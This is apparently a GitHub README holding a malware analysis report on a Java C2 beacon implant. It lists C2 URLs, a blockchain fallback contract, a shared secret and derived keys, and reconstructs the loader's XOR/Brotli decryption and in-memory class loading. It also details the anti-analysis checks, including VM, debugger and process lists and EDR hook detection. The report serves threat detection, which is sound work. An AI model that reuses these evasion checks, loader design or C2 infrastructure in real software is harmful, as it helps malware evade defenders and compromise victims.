hexxy-pz/pz-malware-analysis

GitHub: hexxy-pz/pz-malware-analysis

一款具备多传输、区块链回连与Java FFI反分析能力的定向C2植入体,用于模拟高级威胁并检验检测覆盖。

Stars: 0 | Forks: 0

# 恶意软件分析报告:download.jar ## 执行摘要 **Classification**: Novel/custom C2 beacon implant - does not match any known framework (Sliver, Cobalt Strike, Havoc, Mythic, BruteRatel, Nighthawk, Merlin, PoshC2, Covenant, or any other catalogued tooling). **Original filename**: `NetworkSetup.jar` **Primary C2**: `https://zmq4v4wbc4i6aootva7h4kio5i.srv.us/` (endpoints `/tasks`, `/results`) **Fallback C2**: `https://excluding-pvc-kyle-weed.trycloudflare.com/` (endpoints `/api/v1/poll`, `/api/v1/post`) - retrieved at runtime from a Binance Smart Chain smart contract (`0xab695725c66c2bdB4d2E24EaeCdBbde6cE618e25`), encrypted with AES-256-GCM. **Shared secret**: `TAEMeNY9nO1TNDJiYO5zFUqSkwBSQxtn` ### 妥协指标 #### 网络IOC | Type | Value | |------|-------| | **C2 URL (primary)** | `https://zmq4v4wbc4i6aootva7h4kio5i.srv.us/` | | **C2 poll path** | `/tasks` | | **C2 push path** | `/results` | | **C2 URL (fallback)** | `https://excluding-pvc-kyle-weed.trycloudflare.com/` | | **Fallback poll path** | `/api/v1/poll` | | **Fallback push path** | `/api/v1/post` | | **BSC contract** | `0xab695725c66c2bdB4d2E24EaeCdBbde6cE618e25` | | **BSC function selector** | `0x6d4ce63c` | | **BSC RPC** | `https://bsc-dataseed.binance.org/` | | **BSC RPC** | `https://bsc-dataseed1.ninicoin.io/` | | **BSC RPC** | `https://bsc-dataseed2.ninicoin.io/` | | **BSC RPC** | `https://bsc-dataseed1.defibit.io/` | | **DERP upgrade** | `GET /derp HTTP/1.1` with `Upgrade: DERP` header | | **DERP keepalive** | `derp-ka` | | **Session cookie** | `PHPSESSID` | | **User-Agent (primary)** | `Mozilla/5.0 (Windows NT 10.0; Win64; x64)` | | **User-Agent (fallback)** | `Mozilla/5.0 ( Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0 Safari/537.36 OPRGX/116.0 OPR/116.0` | #### 主机IOC | Type | Value | |------|-------| | **SHA256** | `49134105feed022bc2e332fff4a0e83dbfbdf93e623b1b1042b5bc3d70d7da39` | | **Original filename** | `NetworkSetup.jar` | | **Package name** | `DragoniteUsedHyperBeam` | | **Shell path** | `C:\Windows\System32\cmd.exe` | | **Java version** | 25+ required (class file version 69.0) | | **Manifest Main-Class** | `DragoniteUsedHyperBeam.a` | #### 加密IOC | Type | Value | |------|-------| | **Shared secret** | `TAEMeNY9nO1TNDJiYO5zFUqSkwBSQxtn` | | **HKDF salt** | `ONCE YOU'RE SURROUNDED IN DESPAIR... JUST CLOSE YOUR EYES AND I'LL BE THERE. NO, DON'T YOU STRUGGLE, DON'T YOU FIGHT... AS I BID YOU YOUR LAST GOODNIGHT.` | | **HKDF label** | `enc` | | **Derived PRK** | `87c555eedc36b369e7f19b0ebfd257df94c9a5487563034cb236c8325ee5be2c` | | **Derived AES key** | `6ff38659bc5439b7e34d6f10971f24c53919b8abb8f5ea8adf95ebdc7a9777aa` | | **Cipher** | AES-256-GCM, 12-byte IV, 128-bit tag | | **MAC** | HMAC-SHA256 | | **Operator key type** | 32-byte (Curve25519) | #### 协议IOC(检测签名) | Type | Pattern | |------|---------| | **DERP handshake** | HTTP request containing `Upgrade: DERP` and `Connection: Upgrade` | | **DERP version** | JSON body `{"version":2}` immediately after TLS upgrade | | **HTTP poll** | GET to `/tasks` or `/api/v1/poll` with `PHPSESSID` cookie | | **HTTP push** | POST to `/results` or `/api/v1/post` with `Content-Type: application/json` or `text/plain` | | **Data format** | Base64-encoded AES-GCM ciphertext in JSON body | | **BSC resolver** | `eth_call` JSON-RPC to BSC RPC endpoints targeting contract `0xab6957...` with data `0x6d4ce63c` | | **Binary frames** | TCP with 4-byte big-endian length prefix, max 64MB | | **Connect timeout** | 10s (DERP), 30s (HTTP) | | **Socket timeout** | 90s (DERP), 120s (TCP frames) | | **Poll interval** | 6 seconds with 4 second jitter (fallback config) | ### 此植入体的独特之处 1. **Tailscale DERP relay abuse** - Implements the full DERP wire protocol (version 2 handshake, `derp-ka` keepalive) to relay C2 traffic through Tailscale's infrastructure or operator-run DERP servers. Traffic blends with legitimate Tailscale connectivity, making detection extremely difficult in corporate environments where Tailscale is common. 2. **Blockchain-resilient C2** - Fallback configuration stored in a BSC smart contract, AES-GCM encrypted. The operator can rotate C2 infrastructure by updating the on-chain data without touching the implant. Immune to traditional domain takedowns. 3. **Java 25 + Foreign Function Interface** - Requires bleeding-edge Java (2025+). Uses the Foreign Function Interface to call Windows APIs (`kernel32.dll`, `user32.dll`, `ntdll.dll`) directly, bypassing JNI entirely. This is unprecedented in Java malware. 4. **NtDll syscall hook detection via FFI** - Reads the first bytes of 9 Nt* system call stubs directly from memory using `GetProcAddress`, checking for inline hooks planted by EDR/AV products. A native-level evasion technique implemented through Java's FFI - not previously observed. 5. **11-layer evasion scoring system** - Aggregates checks across Java debugger detection, classloader verification, SMBIOS firmware analysis, debugger window enumeration (20+ classes), process scanning (35+ tools), WMI hardware queries (video, cooling, RAM), DNS cache analysis, NtDll hook detection, and sandbox product key identification. Returns a go/no-go boolean score. 6. **Triple transport** - poll/push, DERP relay over TLS, and raw TCP binary frames. Most C2 frameworks offer one or two transports. 7. **Modular architecture** - `beacon/Command` and `beacon/Module` interfaces allow the operator to push arbitrary Java class files from the C2 server, loaded in-memory via `defineClass()` (fileless). Each module registers its own commands. ### 规避系统分解(类 `f` - 11 次检查) | Method | Check | Technique | |--------|-------|-----------| | `b()` | Java debugger | Scans JVM input arguments for `jdwp`, `javaagent`, `xdebug` | | `c()` | Agent injection | Builds a set of legitimate classloader types (`jdk.internal.loader.ClassLoaders$AppClassLoader`, `PlatformClassLoader`, `sun.misc.Launcher$AppClassLoader`, `ExtClassLoader`), walks the classloader chain verifying each is in the set and contains `DragoniteUsedHyperBeam`, detecting injected agents | | `d()` | VM via BIOS firmware | Calls `GetSystemFirmwareTable` via FFI to read raw SMBIOS tables, parses manufacturer/product strings, checks against 12 VM vendors: virtualbox, vbox, "innotek gmbh", "oracle corporation", vmware, qemu, bochs, xen, "hvm dumu", "microsoft corporation", parallels, kvm | | `e()` | Debugger windows | Calls `FindWindowW` via FFI for 20 window class names: `OLLYDBG`, `WinDbgFrameClass`, `ObsidianGUI`, `Zeta Debugger`, `Rock Debugger`, `GBDYLLO`, `pediy06`, `FilemonClass`, `PROCMON_WINDOW_CLASS`, `RegmonClass`, `icu_dbg`, `pe-diy`, `TDeDeMainForm`, `TIdaWindow`, `x64dbg`, `x32dbg`; also checks window titles for `"Process Monitor - Sysinternals"`, `"File Monitor - Sysinternals"`, `"Registry Monitor - Sysinternals"`; also checks sandbox product key serial `18467-41` | | `f()` | Analysis processes | Calls `ProcessHandle.allProcesses()` and checks executable names against 35+ tools: procmon, procexp, wireshark, fiddler, tcpdump, x64dbg, x32dbg, ollydbg, windbg, idaq, ida, ida64, pestudio, pe-bear, dnspy, de4dot, ilspy, httpanalyzer, httpdebugger, rawshark, dumpcap, sysanalyzer, sniff_hit, scylla (x64/x86), importrec, apimonitor (x86/x64), joeboxcontrol, joeboxserver, processhacker, vboxservice, vboxtray, vdagent, vdservice, vmusrvc, vmtoolsd, vmwaretray, vmwareuser, vmacthlp, vmsrvc, prl_tools, prl_cc, qemu-ga, xenservice, vboxservice, vgauthservice, vdagent | | `g()` | WMI video adapter | Executes `wmic path win32_videocontroller /format:list`, parses `DeviceID` and `AdapterRAM` values to detect VM graphics adapters (VMs use specific virtual GPU device IDs and limited VRAM) | | `h()` | WMI cooling devices | Executes `wmic path CIM_CoolingDevice /format:list` - physical machines have fans/cooling, virtual machines typically report zero cooling devices | | `i()` | WMI adapter RAM | Cross-references video adapter RAM values against known VM thresholds | | `j()` | DNS cache | Executes `ipconfig /displaydns`, scans output for analysis-related domains that would indicate the host is a malware analysis sandbox | | `k()` | NtDll syscall hooks | Uses FFI to call `GetModuleHandleW("ntdll.dll")` then `GetProcAddress` for each of 9 Nt* functions: `NtAllocateVirtualMemory`, `NtMapViewOfSection`, `NtProtectVirtualMemory`, `NtReadVirtualMemory`, `NtWriteVirtualMemory`, `NtCreateThreadEx`, `NtQueueApcThread`, `NtOpenProcess`, `NtCreateFile`. Reads the first bytes at each function address and checks for `0xE9` (JMP) or other hook signatures that indicate EDR/AV inline patching | | `l()` | Sandbox product key | Checks for Windows product key serial `18467-41`, a known default in several automated malware analysis sandboxes | | **`a()`** | **Master verdict** | **Calls `b()` through `l()`, aggregates all scores, returns boolean go/no-go decision. The implant will not operate if the environment is deemed hostile.** | ### 威胁行为体评估 This is a **bespoke, operator-developed implant** from a well-resourced threat actor or advanced red team. The Java 25 requirement, Tailscale DERP abuse, blockchain resilience, and FFI-based native evasion represent sophistication well beyond commodity malware. The Pokemon-themed package name (`DragoniteUsedHyperBeam`) and the embedded poem used as a cryptographic salt suggest either a personality quirk or deliberate false flag. The implant was distributed as `NetworkSetup.jar`, likely via social engineering. ## 文件识别 | Property | Value | |----------|-------| | **Filename** | `download.jar` | | **Location** | `c:\Users\[REDACTED]\Downloads\download.jar` | | **File type** | Java Archive (JAR) | | **SHA256** | `49134105feed022bc2e332fff4a0e83dbfbdf93e623b1b1042b5bc3d70d7da39` | | **Total size** | 295,194 bytes (uncompressed) | | **Date** | All entries dated 2026-03-22 20:22 | ## 阶段 1:初始 JAR 结构分析 ### 使用的工具 - `file` command to confirm JAR type - `unzip -l` to list contents - `sha256sum` for hash ### JAR 内容(21 个文件) | File | Size | Purpose | |------|------|---------| | `META-INF/MANIFEST.MF` | 63 B | Manifest declaring `Main-Class: DragoniteUsedHyperBeam.a` | | `index.html` | 42,839 B | NOT HTML - encrypted + compressed payload | | `k` | 67 B | Encrypted key material (DataInputStream.readUTF format) | | `DragoniteUsedHyperBeam/a.class` | 3,718 B | Main entry point | | `DragoniteUsedHyperBeam/b.class` | 11,369 B | Brotli primitive | | `DragoniteUsedHyperBeam/c.class` | 2,600 B | Brotli InputStream wrapper | | `DragoniteUsedHyperBeam/d.class` | 437 B | Custom RuntimeException | | `DragoniteUsedHyperBeam/e.class` | 1,231 B | Character substitution table | | `DragoniteUsedHyperBeam/f.class` | 3,725 B | Custom ClassLoader | | `DragoniteUsedHyperBeam/g.class` | 33,126 B | Core Brotli decoder | | `DragoniteUsedHyperBeam/h.class` | 127,031 B | Brotli static dictionary | | `DragoniteUsedHyperBeam/i.class` | 1,650 B | String deobfuscation engine | | `DragoniteUsedHyperBeam/j.class` | 1,452 B | Key expansion / Brotli wrapper | | `DragoniteUsedHyperBeam/l.class` | 5,914 B | Payload container parser | | `DragoniteUsedHyperBeam/m.class` | 1,393 B | XOR decryption FilterInputStream | | `DragoniteUsedHyperBeam/n.class` | 38,744 B | Brotli transforms (contains `ABANDON_ALL_HOPE_YE_WHO_ENTER_HERE`) | | `DragoniteUsedHyperBeam/o.class` | 7,003 B | Brotli decoder state (extends n) | | `DragoniteUsedHyperBeam/p.class` | 1,869 B | Brotli internal state | | `DragoniteUsedHyperBeam/q.class` | 7,600 B | Brotli dictionary lookup | | `DragoniteUsedHyperBeam/r.class` | 861 B | Brotli internal structure | | `DragoniteUsedHyperBeam/s.class` | 2,502 B | Brotli internal structure | ### 关键观察 - Package name `DragoniteUsedHyperBeam` is a Pokemon reference, common in gaming-community malware - All class files use single-letter obfuscated names (a through s, skipping some) - Class `i.class` uses Java 5 (class file version 49.0) while ALL others use Java 25 (class file version 69.0) - The version mismatch suggests `i.class` was compiled separately or is from a different source - `index.html` starts with ASCII text `woshinidefuqin <3` (Chinese pinyin for "I am your father") followed by binary data - `k` is 67 bytes: 2-byte big-endian length prefix (0x0041 = 65) + 65 bytes of UTF-8 encoded Unicode characters ### 基于 PHP 的字符串提取 Since `javap` was not available (only JRE installed, not JDK), and `strings` command was not available, a PHP script was written to extract printable ASCII strings from all class files using XAMPP PHP 8.2.12. Key findings from string extraction: - `a.class`: References `getResourceAsStream`, `readUTF`, `DataInputStream`, `loadClass`, `getMethod`, `invoke`, `setContextClassLoader` - classic reflective class loading pattern - `f.class`: Extends `java/lang/ClassLoader`, has `findClass`, `defineClass`, `ConcurrentHashMap` - custom in-memory class loader - `h.class` (127KB): Contains the standard Brotli static dictionary - multilingual web text in English, Spanish, Russian, Arabic, Hindi, Chinese - `n.class`: Contains `ABANDON_ALL_HOPE_YE_WHO_ENTER_HERE` - marker from Google's Brotli Java implementation - `i.class`: References `java.class.path`, `path.separator`, `Class.forName`, `getClassLoader` - environment-dependent string deobfuscation ## 阶段 2:初始解密尝试(失败) ### 熵分析 The `index.html` payload (after the 17-byte header) has entropy of **7.9950 bits/byte** - nearly perfect randomness (8.0 = maximum). This confirmed the data is **encrypted**, not merely compressed. All 256 byte values are present. ### 尝试次数 A PHP script (`decrypt_payload.php`) tried 8 different approaches: 1. **Raw Brotli decompression** (entire file) → FAILED 2. **Strip header + Brotli** → FAILED 3. **XOR entire file with key bytes** → FAILED (entropy remained 7.996) 4. **Strip header + XOR with key** → FAILED 5. **XOR with raw k bytes (including length prefix)** → FAILED 6. **XOR with header text as key** → FAILED 7. **RC4 decryption** with key from k → FAILED (both with and without header) 8. **Modular addition/subtraction** with key → FAILED All attempts maintained high entropy (~7.99), indicating the decryption algorithm is more complex than simple byte-level ciphers. ## 阶段 3:Java 类文件反汇编 ### 自定义反汇编器 Since `javap` was unavailable, a complete Java class file disassembler was written in PHP (`disasm.php`) that: - Parses the class file magic, version, constant pool - Resolves all constant pool references (Utf8, Class, Methodref, Fieldref, NameAndType, etc.) - Disassembles bytecode with full opcode decoding - Handles all standard JVM opcodes including branches, field/method references, and type conversions ### a.class 反汇编(主入口点) **Class**: `DragoniteUsedHyperBeam/a extends java/lang/Object` **Version**: 69.0 (Java 25) **Fields** (all static String, plus int `p` and long `F`): - `b`, `c`, `d`, `e`, `g`, `h`, `j`, `k`, `m`, `n`, `o` - all `Ljava/lang/String;` - `p` - `I` (int) - `F` - `J` (long) **Static initializer ``**: All string fields are initialized by passing obfuscated Unicode string constants through `DragoniteUsedHyperBeam/i.a()`: ``` field b = i.a(" ̄뢻იࡲᮮḇ귨...") // deobfuscated system property name field c = i.a("䭙ઽ䡚썃풃") // deobfuscated default value field d = i.a("泧霘㓹섵") // deobfuscated method name (likely "main") field e = i.a("⋌ᢌ") // deobfuscated resource name (likely "k") field g = i.a("Dz䁹⚓Ķ뱲...") // deobfuscated system property (likely "index.html" path) field h = i.a("⿑≤괜Ᵽ袁...") // deobfuscated class name field j = i.a("ꥪ幫蝵...") // error message field k = i.a("胔副...") // error message suffix field m = i.a("䮺婐㩥...") // some identifier field n = i.a("삈⧎") // delimiter (also stored in field o) ``` Fields `p` (int) and `F` (long) are computed via LCG-based obfuscation similar to other classes. **Method `a()` (reads k file)**: 1. Gets ClassLoader, calls `getResourceAsStream(field_e)` → loads resource named by field `e` 2. Wraps in `DataInputStream`, calls `readUTF()` → gets UTF string from `k` file 3. Passes through `i.a()` → deobfuscates the string 4. Checks for delimiter `field_o` with `indexOf` → if found, takes substring after it and trims 5. Returns the result - this is the main class name to execute in the payload **Method `main(String[])`**: 1. `System.getProperty(field_g, field_b)` → get resource name (defaults from obfuscated strings) 2. `System.getProperty(field_h, a())` → get class name to invoke (default from k file deobfuscation) 3. Opens resource via `getResourceAsStream` → gets `index.html` InputStream 4. Creates `new DragoniteUsedHyperBeam.f(classLoader, inputStream)` → custom ClassLoader 5. Closes the stream 6. `Thread.currentThread().setContextClassLoader(f)` → hijacks thread's classloader 7. `f.loadClass(className)` → loads the target class from decrypted payload 8. Gets method `field_d` (probably "main") with parameter type `String[]` 9. `Method.invoke(null, args)` → executes the payload's main method ### m.class 反汇编(XOR 解密流) **Class**: `DragoniteUsedHyperBeam/m extends java/io/FilterInputStream` **Version**: 69.0 **Fields**: - `a` (long, static) - LCG state - `b` (int, instance) - current key index - `c` (int, static) - key step increment - `d` (int, static) - initial key index - `e` (int, static) - EOF sentinel value - `f` (byte[], instance) - XOR key material - `g` (int, static) - byte mask **Constructor**: `m(InputStream in, byte[] key)` - wraps stream with key for XOR decryption **`read()` method** (single byte): ``` int byte = in.read(); if (byte == e) return e; // EOF check (e = -1) int decrypted = (byte ^ f[b]) & g; // XOR with key[index], mask with g (0xFF) b = (b + c) % f.length; // advance index by step c (=1) return decrypted; ``` **`read(byte[], int, int)` method**: Same algorithm applied in a loop to a buffer. **Static initializer** uses LCG to compute constants: ``` Seed chain: initial → e, c, g, d (via LCG with Java Random constants) ``` **Computed values** (verified against 18 other constants): | Field | Value | Meaning | |-------|-------|---------| | e | -1 | Standard Java EOF | | c | 1 | Sequential key stepping | | g | 0xFF (255) | No masking (full byte) | | d | 0 | Start at key index 0 | Result: **Simple sequential XOR cipher** - each byte XORed with key[i], i increments by 1 modulo key length. ### l.class 反汇编(有效载荷容器解析器) **Class**: `DragoniteUsedHyperBeam/l extends java/lang/Object` **Version**: 69.0 **Fields**: 23 fields (a through y, mix of int, long, Map). Field `a` is `Ljava/util/;` storing the parsed entries. **Static initializer**: Same LCG pattern, computing 23 constants. All verified correct: | Field | Value | Meaning | |-------|-------|---------| | y (long) | 17 | Header skip bytes (matches "woshinidefuqin <3" = 17 chars) | | v (int) | 32 | Compressed key size in bytes | | e (int) | 8192 | Decompressed key buffer size | | f (int) | 0 | Zero constant (array start offset) | | s (int) | 8 | Bit shift for big-endian 16-bit read (byte << 8) | | m (int) | 255 | Byte mask 0xFF | | d (int) | 4 | Bit shift for UTF-8 type detection | | w (int) | 127 | Max single-byte ASCII (0x7F) | | b (int) | 128 | UTF-8 continuation flag (0x80) | | h (int) | 2 | 2-byte sequence offset | | l (int) | 1 | 1-byte sequence offset | | x (int) | 24 | Shift for byte[0] in 32-bit read | | r (int) | 16 | Shift for byte[1] in 32-bit read | | n (long) | 2048 | Max read chunk size | | c (int) | 2048 | Buffer size | These are textbook-correct values for a UTF-8 parser and binary protocol reader, providing high confidence in the LCG computation. **Constructor `l(InputStream in)`** (the decryption pipeline): ``` l(InputStream in) { this.a = new HashMap(); // entry map // Step 1: Skip header skip(in, 17); // skip "woshinidefuqin <3" // Step 2: Read compressed key seed byte[] compKey = new byte[32]; readFully(in, compKey, 0, 32); // Step 3: Decompress key using Brotli DragoniteUsedHyperBeam.j decoder = new j(compKey); byte[] xorKey = new byte[8192]; decoder.a(xorKey, 0, 8192); // Step 4: Wrap stream with XOR decryption InputStream decrypted = new m(in, xorKey); // Step 5: Read entries in a loop while (true) { String name = readUTF(decrypted); // modified UTF-8 string name = i.a(name); // deobfuscate int size = readInt(decrypted); // 4-byte big-endian byte[] data = new byte[size]; readFully(decrypted, data, 0, size); this.a.put(name, () -> decompress(data)); // lambda wrapping Brotli decompress } } ``` ### f.class 反汇编(自定义类加载器) **Class**: `DragoniteUsedHyperBeam/f extends java/lang/ClassLoader` **Constructor**: Creates `l` instance from the InputStream, copies the entry map into a `ConcurrentHashMap`. **`findClass(String name)`**: Looks up class name in map, gets the `Supplier`, reads all bytes from the Brotli-decompressed stream, calls `defineClass()` to load the class into memory. ### i.class 分析(字符串去混淆) **Class**: `DragoniteUsedHyperBeam/i extends java/lang/Object` **Version**: 49.0 (Java 5 - uniquely old) **Static fields**: - `a` (int) = 1 - `b` (int) = 0 - `c` (long) = 25214903917 (0x5DEECE66D) - Java Random LCG multiplier - `d` (long) = 281474976710655 (0xFFFFFFFFFFFF) - 48-bit mask - `e` (long) = 11 (0xB) - Java Random LCG addend - `f` (long) = classpath-dependent seed - `z` (int) = 0 - state/counter **Method `g()`**: Returns the seed `f`. Contains classpath-dependent logic: - Calls `System.getProperty("java.class.path")` - Calls `System.getProperty("path.separator")` - Uses `String.contains()`, `lastIndexOf()`, `substring()`, `StringBuilder` - Uses `Class.forName()` with a classloader - Computes a long value from the classpath string **Method `a(String input)`** (deobfuscation, from full bytecode trace): ``` static String a(String input) { long seed = (long)input.charAt(b) ^ g(); // b=0, so first char XOR seed char[] result = new char[input.length() - a]; // a=1, output is 1 shorter int idx = b; // =0 if (result.length == 0) return new String(result); if (z == 0) { // normal path seed = (seed * c + e) & d; // LCG step } else { // anti-debug: throws NullPointerException } // For each output character: result[idx] = (char)(input.charAt(idx + a) ^ (char)(int)seed); idx++; // Loop: LCG step, XOR next char, advance // Second iteration onward also updates f (the static seed) return new String(result); } ``` **Algorithm summary**: 1. First character of input is consumed as seed modifier: `seed = input[0] ^ i.f` 2. Output is one character shorter than input 3. Each output character: `output[j] = input[j+1] ^ (char)(int)(LCG_step(seed))` 4. The LCG uses Java's standard Random constants (mult=0x5DEECE66D, add=0xB, mask=0xFFFFFFFFFFFF) 5. After the first call, the static seed `f` is updated, affecting subsequent calls **Critical property**: The deobfuscation XOR key is derived from `seed & 0xFFFF` (low 16 bits after l2i + i2c). In power-of-2 modulus LCGs, the low k bits of the output depend ONLY on the low k bits of the input. This means the low 16 bits of the LCG sequence are completely determined by the initial low 16 bits of the seed, regardless of the upper bits. The upper 32 bits of `i.f` affect future LCG states through multiplication carry, but this only propagates to higher bits - never downward in a single step. Multi-step propagation eventually mixes bits, but for short strings the upper bits have minimal effect. ### j.class、o.class、n.class(密钥扩展) `j.class` wraps the Brotli decoder (`o extends n`) to expand the 32-byte compressed key seed into the XOR key buffer. The constructor: ``` j(byte[] input) { this.b = new o(); // Brotli decoder state this.e = new byte[j.a]; // internal buffer synchronized(this.b) { this.b.a(input, 0, len); // feed compressed data this.b.a(this.e, 0); // read decompressed output } } ``` `o.class` has 60+ fields (j through aE) forming the complete Brotli decoder state machine. `n.class` (38KB) contains the Brotli transform lookup tables. ## 阶段 4:密钥扩展问题 ### Brotli 密钥问题 The 32 bytes at `index.html[17:49]` are the compressed XOR key. They need to be Brotli-decompressed into an 8192-byte buffer. However: **Standard Brotli decompression failed** for these 32 bytes using both: - `brotli` CLI tool (available on the system) - Python `brotli` library (installed via pip) All attempts returned "corrupt input" or "decoder failed": - Raw 32 bytes - With every possible single-byte prefix (0x00-0xFF) - Various offsets and lengths from the payload - The entire payload after the header **Analysis of the 32 bytes**: ``` Hex: 1cd33971714d006ba8b40b0da8a0ae52eb0bb60d9534096c2ef89801782d6e89 ``` - First byte 0x1C = 00011100: bit 0=0 → WBITS=16 (valid), ISLAST=0, MNIBBLES=3 (valid Brotli header) - The data appears to be a valid Brotli stream start but the CLI/library can't process it **Theory**: The `j/o/n` classes implement a Brotli decoder from Google's `org.brotli.dec` Java library. This implementation may handle stream framing differently than the standard CLI tool. The Java library accepts raw Brotli data directly while the CLI may expect different framing. ### 变通方法:使用 JAR 自身的类 Since the Brotli implementation exists in the JAR itself, the solution was to **load the JAR's classes and use them directly**. ## 阶段 5:版本修补与有效载荷提取 ### 类版本问题 The JAR's classes are version 69.0 (Java 25), but only JRE 8 (version 52.0) is installed. Loading these classes directly fails with `UnsupportedClassVersionError`. ### 解决方案:修补类文件版本 A Python script (`make_jar_and_extract.py`) using `zipfile` module: 1. Read each class file from the original JAR 2. If major version > 52, replace bytes 6-7 with `\x00\x34` (version 52.0) 3. If major version ≤ 52 (i.e., `i.class` at v49), leave unchanged 4. Repackage into a new JAR with proper ZIP formatting **Important**: `i.class` was initially patched UP from v49 to v52, which caused `VerifyError` because Java 52 enforces StackMapTable requirements that v49 didn't have. Fixed by only downgrading, never upgrading. ### 通过 Nashorn(JRE 8 的 JavaScript 引擎)成功提取 A Nashorn script (`extract_raw2.js`) successfully: 1. Loaded the patched JAR via `URLClassLoader` 2. Created an `l` instance with the `index` InputStream 3. The `l` constructor performed the full decryption pipeline internally: - Skipped 17-byte header - Read 32-byte compressed key - Expanded key via Brotli (using the JAR's own `j/o/n` classes) - Created XOR decryption stream (`m` class) - Parsed all entries from the decrypted stream 4. Accessed the entry map via reflection: `l.getDeclaredField("a")` 5. **Found 17 entries** in the payload 6. Extracted raw compressed bytes from lambda closures via reflection ### StringConcatFactory 错误 When attempting to Brotli-decompress individual entries via the JAR's `c.class`, a `BootstrapMethodError` occurred because `h.class` (Brotli dictionary) uses `java.lang.invoke.StringConcatFactory` which is a Java 9+ feature not available in JRE 8. This only affected the Brotli decompression of entries, not the key expansion or XOR decryption. ### 解决方案:使用 Python Brotli 解压 The raw compressed entry bytes were saved to files (`entry_0.br` through `entry_16.br`), then decompressed using Python's `brotli` library. **All 17 entries decompressed successfully**, producing valid Java class files (CAFEBABE magic). ## 阶段 6:有效载荷分析 ### 提取的类(17 项) | Entry | Compressed | Decompressed | Class | Extends | Role | |-------|-----------|-------------|-------|---------|------| | 0 | 185 B | 259 B | `i` | Object | Interface: AutoCloseable resource | | 1 | 1,466 B | 3,002 B | `g` | Object | FFI native code bridge | | 2 | 4,498 B | 9,268 B | `k` | Object | HTTP C2 transport | | 3 | 460 B | 696 B | `beacon/Response` | Object | Command response object | | 4 | 1,505 B | 2,664 B | `b` | Object | JSON serializer | | 5 | 2,360 B | 4,178 B | `e` | Object | HTTP helper (POST) | | 6 | 1,917 B | 3,139 B | `h` | Object | Host fingerprinting | | 7 | 2,393 B | 4,466 B | `c` | Object | JSON parser | | 8 | 99 B | 119 B | `beacon/Command` | Object | Command interface | | 9 | 1,322 B | 2,337 B | `l` | Object | Binary frame protocol | | 10 | 3,031 B | 6,179 B | `m` | Object | ChaCha20/Salsa20 cipher | | 11 | 4,376 B | 7,818 B | `j` | Object | DERP/TLS C2 transport | | 12 | 6,111 B | 11,937 B | `beacon/Main` | Object | Central C2 controller | | 13 | 136 B | 154 B | `beacon/Module` | Object | Module interface | | 14 | 946 B | 1,850 B | `d` | ClassLoader | In-memory module loader | | 15 | 9,283 B | 15,851 B | `f` | Object | Process mgmt + recon | | 16 | 2,052 B | 2,895 B | `a` | Object | AES-GCM encryption | ### 分类:C2 beacon / 远程访问植入体 This is a modular Command & Control implant with: - **Dual C2 channels**: HTTP polling/push + DERP (Tailscale relay protocol) over TLS - **Encrypted communications**: AES-256-GCM + ChaCha20 + HMAC - **Modular architecture**: `beacon/Command` + `beacon/Module` interfaces for extensibility - **Fileless module loading**: Custom ClassLoader using `defineClass()` - **Native code execution**: Java Foreign Function Interface (Java 22+) - **Host reconnaissance**: Comprehensive system fingerprinting - **Process management**: Enumeration and execution ## 阶段 7:IOC 提取 ### 网络指标 **Plaintext protocol strings found in bytecode** (not obfuscated because they're embedded in mixed ASCII/binary string constants): | Location | String | Significance | |----------|--------|-------------| | j.class cp#271 | `GET /derp HTTP/1.1\r\nHost: {VAR}\r\nUpgrade: DERP\r\nConnection: Upgrade\r\n\r\n` | DERP protocol HTTP upgrade request | | j.class cp#272 | `Invalid operator public key length: {VAR} (expected 32)` | 32-byte Curve25519 key for operator authentication | | k.class cp#326 | `HTTP poll returned {VAR}` | HTTP polling C2 channel status message | | k.class cp#327 | `HTTP push returned {VAR}` | HTTP push C2 channel status message | | beacon/Main cp#447 | `Module load failed: {VAR}` | Dynamic module loading error | | beacon/Main cp#451 | `Unknown command: {VAR}` | Command dispatch error | | c.class cp#154 | `JSON parse error: {VAR} at position {VAR}` | JSON protocol format | | l.class cp#109 | `Bad frame length: {VAR}` | Length-prefixed binary framing | | d.class cp#51 | `{VAR}.class` | ClassLoader loading pattern | | h.class cp#101 | `{VAR}:\` | Windows drive letter template (fingerprinting) | ### 整数常量(未混淆) | Class | Value | Meaning | |-------|-------|---------| | j (DERP) | 90,000 | Socket SO_TIMEOUT: 90 seconds | | j (DERP) | 4,194,304 | Max DERP frame: 4 MB | | j (DERP) | 30,000 (long) | Read timeout: 30 seconds | | j (DERP) | 10,000 (sipush) | Connect timeout: 10 seconds | | l (frames) | 120,000 | Frame timeout: 120 seconds | | l (frames) | 67,108,864 | Max frame: 64 MB | | k (HTTP) | 30 (long) | HTTP connect/request timeout: 30 seconds | | k (HTTP) | 200, 300 (sipush) | HTTP success status range | | a (crypto) | 128 (sipush) | GCM tag length: 128 bits | | a (crypto) | 32 (bipush) | AES-256 key size: 32 bytes | | a (crypto) | 12 (bipush) | GCM IV/nonce size: 12 bytes | | a (crypto) | 28 (bipush) | Min ciphertext: 12 IV + 16 tag | | a (crypto) | 63 (bipush) | KDF output size | | j (DERP) | 32 (bipush) | Operator public key size (Curve25519) | | j (DERP) | 13, 10 (bipush) | CR LF for HTTP headers | | k (HTTP) | 1000.0 (double) | Sleep jitter multiplier (ms) | ### 加密指标 | Component | Algorithm | | |-----------|-----------|----------| | **Symmetric cipher** | AES-256-GCM | `Cipher.getInstance()` + `GCMParameterSpec(128, iv)` + key size 32 | | **Key algorithm** | "AES" | `SecretKeySpec(key, )` - 12 obfuscated bytes = 3 output chars | | **MAC** | HmacSHA256 | `Mac.getInstance()` - 33 obfuscated bytes ≈ "HmacSHA256" length | | **Key derivation** | HMAC-based KDF | `hmac(masterKey, label)` - split 63 bytes into 2×32 keys | | **Stream cipher** | ChaCha20/Salsa20 | `SecureRandom`, `rotateLeft`, `arraycopy` in class `m` | | **Key exchange** | Curve25519 (likely) | 32-byte operator public key | | **Random** | `java.security.SecureRandom` | Used for IV generation and key material | ### 系统侦察(类 `h`) Collects a `LinkedHashMap` with (deobfuscated key names unknown, but API calls reveal values): 1. **Hostname**: `InetAddress.getLocalHost().getHostName()` 2. **OS info**: `System.getProperty(name, default)` (multiple calls) 3. **Username**: `System.getProperty(name, default)` 4. **Architecture**: `System.getProperty` + string concatenation 5. **Java version**: `System.getProperty` 6. **Local IP**: Via `DatagramSocket` UDP trick - connects to external IP to determine local interface address (obfuscated 45B string → `InetAddress.getByName()`, likely "8.8.8.8") 7. **PID**: `ProcessHandle.current().pid()` 8. **Runtime info**: `System.getProperty` ### 混淆字符串统计 | Class | 